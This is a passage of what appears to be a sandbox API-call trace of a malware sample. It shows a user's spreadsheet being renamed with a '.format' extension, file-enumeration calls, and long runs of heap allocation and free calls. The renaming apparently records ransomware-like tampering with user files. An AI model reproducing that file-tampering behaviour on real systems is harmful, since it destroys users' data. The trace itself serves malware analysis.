(HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.316] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\vnscV1A42YE34G.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\vnscv1a42ye34g.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\vnscV1A42YE34G.ods.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\vnscv1a42ye34g.ods.format")) returned 1 [0068.318] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31f2fb90, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0x28ae0b10, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x28ae0b10, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0x154ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vnscV1A42YE34G.ods", cAlternateFileName="VNSCV1~1.ODS")) returned 0 [0068.318] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.318] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.318] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.325] HeapFree (in: 